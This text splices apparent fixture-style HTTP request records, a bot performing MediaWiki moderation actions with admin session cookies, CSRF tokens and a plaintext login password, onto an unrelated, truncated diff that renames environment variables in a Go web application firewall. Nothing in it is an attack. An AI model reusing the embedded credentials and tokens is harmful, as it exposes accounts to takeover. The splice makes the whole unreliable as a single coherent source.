{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=Ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 146", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=26%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=Ls+-la&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 224", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=28%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=Ls+-la+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 156", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=30%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=Ls+-la+API+notes&reason=Spamming+links+to+ls+-la+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=32%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=block&user=.htaccess&expiry=1+week&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=blocks&bkusers=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 152", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=34%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=unblock&user=.htaccess&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 230", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=36%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=protect&title=.htaccess+API+notes&protections=edit%3Dsysop%7Cmove%3Dsysop&expiry=infinite%7Cinfinite&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=uho7m452mjb0551r6gmpi2iu0qrmanlv; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=38%401794260966%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=delete&title=.htaccess+API+notes&reason=Spamming+links+to+.htaccess+guides&token=274f54ef8f1513994ec0e53578ca6ac06af23fe5%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 137", "Host: example.com", "Cookie: my_wiki_session=5ea1vridedmorakmd7vsjhusjm977r2c", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Example-pass-2026&lgtoken=38e20a279d9d5c4ceb05bfc8031203146af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=userrights&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 147", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Lighthouse&remove=bot&reason=Spamming+links&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 162", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=42%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Python3&remove=bot&reason=Spamming+links+to+python3+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
internal/coreruleset/wordpress.conf
+1 -1
View File
@@ -3,7 +3,7 @@
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# matters only while SWW_WAF_BODY_LIMIT is set.
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
internal/discriminator/abuseipdb.go
+6 -6
View File
@@ -1,7 +1,7 @@
package discriminator
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
import (
"context"
@@ -16,12 +16,12 @@ import (
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then
// used for each address of the client. Its figures are the score and
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
// SWW_ABUSEIPDB_MIN_SCORE.
type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" }
@@ -43,7 +43,7 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag)
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE")
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
if rq.h.config.ReputationAction != deny {
return nil
internal/discriminator/admin.go
+1 -1
View File
@@ -51,7 +51,7 @@ func (rq *request) answerHealth() {
// answerAdmin answers a request for one of discriminator's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics
// SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other
// path does.
func (rq *request) answerAdmin() {
internal/discriminator/admin_test.go
+4 -4
View File
@@ -17,8 +17,8 @@ import (
)
const (
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
// how a request carries it.
adminSecret = "fedcba9876543210fedcba9876543210"
adminBearer = "Bearer " + adminSecret
@@ -337,12 +337,12 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
}
}
// adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens.
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
type adminEndpoint struct {
method, path, body string
}
// adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
// opens: listing the bans, banning otherClient for an hour, lifting the
// bans on otherClient, and asking about otherClient.
func adminEndpoints() []adminEndpoint {
internal/discriminator/alerts_test.go
+2 -2
View File
@@ -15,8 +15,8 @@ import (
)
const (
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
// alertInstance is the instance every alert of these tests gives.
alertInstance = "fsn1app1/blog"
)
internal/discriminator/anomaly_test.go
+11 -11
View File
@@ -21,11 +21,11 @@ import (
// The anomaly thresholds: the prefix of a scope followed by the end of a
// count.
const (
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
anomalyWatch = "SWW_WAF_WATCH_"
anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWW_ANOMALY_TOTAL_"
anomalyWatch = "SWW_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR"
@@ -35,9 +35,9 @@ const (
// The other anomaly settings.
const (
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WAF_WATCH_NETS"
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WATCH_NETS"
)
const (
@@ -164,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWW_WAF_DENY_NETS
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWW_DENY_NETS
)
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
internal/discriminator/answertime_test.go
+4 -4
View File
@@ -23,10 +23,10 @@ import (
)
const (
// answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
// discriminator has to answer.
answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond
// The header limits SPEC.md gives.
cookieLimit = 50
@@ -178,7 +178,7 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
for _, env := range []map[string]string{
{wafMode: off},
{wafMode: "detect"},
{wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
} {
t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel()
@@ -413,7 +413,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
action string
}{
{
name: "SWW_WAF_DENY_NETS", env: map[string]string{denyNets: client},
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
},
{
internal/discriminator/bans.go
+6 -6
View File
@@ -1,7 +1,7 @@
package discriminator
// The heuristic active_ban, and the code that makes bans, which several
// heuristics share. active_ban reads SWW_WAF_MODE; the bans are the ban ledger's.
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
import (
"context"
@@ -15,7 +15,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// banResponse is a refusal answered with SWW_WAF_BAN_RESPONSE, and logged
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
// with action.
func (rq *request) banResponse(action string) *refusal {
return &refusal{status: rq.h.config.BanResponse, action: action}
@@ -77,7 +77,7 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes
@@ -94,7 +94,7 @@ func (rq *request) countedBytes() int64 {
// banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent:
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
@@ -237,7 +237,7 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
// wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per
// SWW_WAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
// netblock's requests, which can mean going through every client.
func (rq *request) wouldAlertBan(
netblock netip.Prefix, now time.Time, cause string,
@@ -303,7 +303,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
}
// netblock is the netblock a ban on client covers: its IPv4 address,
// widened to SWW_WAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
// counts it in.
func (h *handler) netblock(client netip.Addr) netip.Prefix {
addr := client.Unmap()
internal/discriminator/bans_test.go
+11 -11
View File
@@ -26,7 +26,7 @@ const (
userAgent = "ban-test/1.0"
// permanent is the log line's ban_expires for a permanent ban.
permanent = "permanent"
// banResponseClose is the SWW_WAF_BAN_RESPONSE that closes the connection.
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
banResponseClose = "close"
)
@@ -91,19 +91,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
}
}
// A first ban lasts SWW_WAF_LIMIT_BAN_DURATION; one within
// SWW_WAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10*time.Minute + time.Hour)
wantExpires(breakLimit(), 30*time.Minute)
// Later than that, SWW_WAF_LIMIT_BAN_DURATION again.
// Later than that, SWW_LIMIT_BAN_DURATION again.
clk.advance(30*time.Minute + time.Hour + time.Second)
wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10 * time.Minute)
wantExpires(breakLimit(), 30*time.Minute)
// 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
// permanent.
clk.advance(30 * time.Minute)
@@ -150,8 +150,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
// In the IPv4 cases, client breaks the limit; these two are next to it.
const (
allowed = "203.0.113.60" // in SWW_WAF_ALLOW_NETS
exempt = "203.0.113.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
for _, tc := range []struct {
@@ -166,7 +166,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
nil, []string{otherClient, exempt},
},
{
"the IPv4 netblock SWW_WAF_BAN_SCOPE_V4_PREFIX sets",
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
map[string]string{banScopeV4Prefix: "24"}, client,
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
},
@@ -175,7 +175,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
},
{
"the IPv6 netblock SWW_WAF_IPV6_GROUP_PREFIX sets",
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
},
@@ -249,10 +249,10 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
const denied = "192.0.2.50" // in SWW_DENY_NETS
for _, tc := range []struct {
setting string // "" leaves SWW_WAF_BAN_RESPONSE at its default
setting string // "" leaves SWW_BAN_RESPONSE at its default
status int // 0 is the connection closed without an answer
}{
{"", http.StatusForbidden},
internal/discriminator/biased.go
+17 -18
View File
@@ -17,9 +17,9 @@ type percentage struct {
}
// biasedThresholdsSet reports whether a biased threshold can lower a
// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
@@ -31,15 +31,15 @@ func biasedThresholdsSet(cfg *config.Config) bool {
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
// AbuseIPDB that list it. Each is the lowest of those the settings give
// it, the first of them in the order below when several are lowest: the
// percentage SWW_WAF_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// other tags, for a client without a country, unless its request skipped
// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
// take the place of the first three for an AS number or a country they
// list.
func (rq *request) limitPercentages() (percentage, percentage) {
@@ -48,25 +48,25 @@ func (rq *request) limitPercentages() (percentage, percentage) {
unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait {
unknown = percentage{cfg.UnknownLimitPercent, "SWW_WAF_UNKNOWN_LIMIT_PERCENT"}
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
}
fetched := percentage{percent: whole}
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
fetched = percentage{percent, "SWW_WAF_ASN_LIMIT_PERCENT_URL"}
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
}
blocklisted := percentage{percent: whole}
if rq.blocklisted && cfg.BlocklistAction == "limit" {
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_WAF_BLOCKLIST_ACTION"}
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
}
reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_WAF_REPUTATION_ACTION"}
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
}
const tagSetting = "SWW_WAF_TAG_LIMIT_PERCENT"
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
@@ -81,12 +81,11 @@ func (rq *request) limitPercentages() (percentage, percentage) {
asnBytes, countryBytes := asnRequests, countryRequests
if _, listed := cfg.ASNBytesPercent[asn]; listed {
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_WAF_ASN_BYTES_PERCENT")
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
}
if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given(cfg.CountryBytesPercent, country,
"SWW_WAF_COUNTRY_BYTES_PERCENT")
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
}
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
internal/discriminator/biased_test.go
+7 -7
View File
@@ -22,10 +22,10 @@ import (
// The biased thresholds.
const (
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
)
const (
@@ -34,7 +34,7 @@ const (
asnDEHalf = asnDE + ":50"
asnDEQuarter = asnDE + ":25"
countryDEHalf = "de:50"
// The same, as SWW_WAF_TAG_LIMIT_PERCENT names fromDE's tags.
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
asnTagDEHalf = "asn=64496:50"
asnTagDEQuarter = "asn=64496:25"
countryTagDEHalf = "country=DE:50"
@@ -240,7 +240,7 @@ func TestLowestPercentageApplies(t *testing.T) {
noCountry, "25 from " + unknownLimitPercent,
},
{
// SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
"the AS number's, for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:25"},
noCountry, "25 from " + tagLimitPercent,
@@ -505,7 +505,7 @@ func wantPercent(t *testing.T, what string, percent *int64, setting, want string
}
// percentText gives a limit percentage and the setting that gave it as
// text, such as "50 from SWW_WAF_TAG_LIMIT_PERCENT", or none when both are
// text, such as "50 from SWW_TAG_LIMIT_PERCENT", or none when both are
// left out.
func percentText(percent *int64, setting string) string {
switch {
internal/discriminator/blocklists.go
+3 -3
View File
@@ -1,6 +1,6 @@
package discriminator
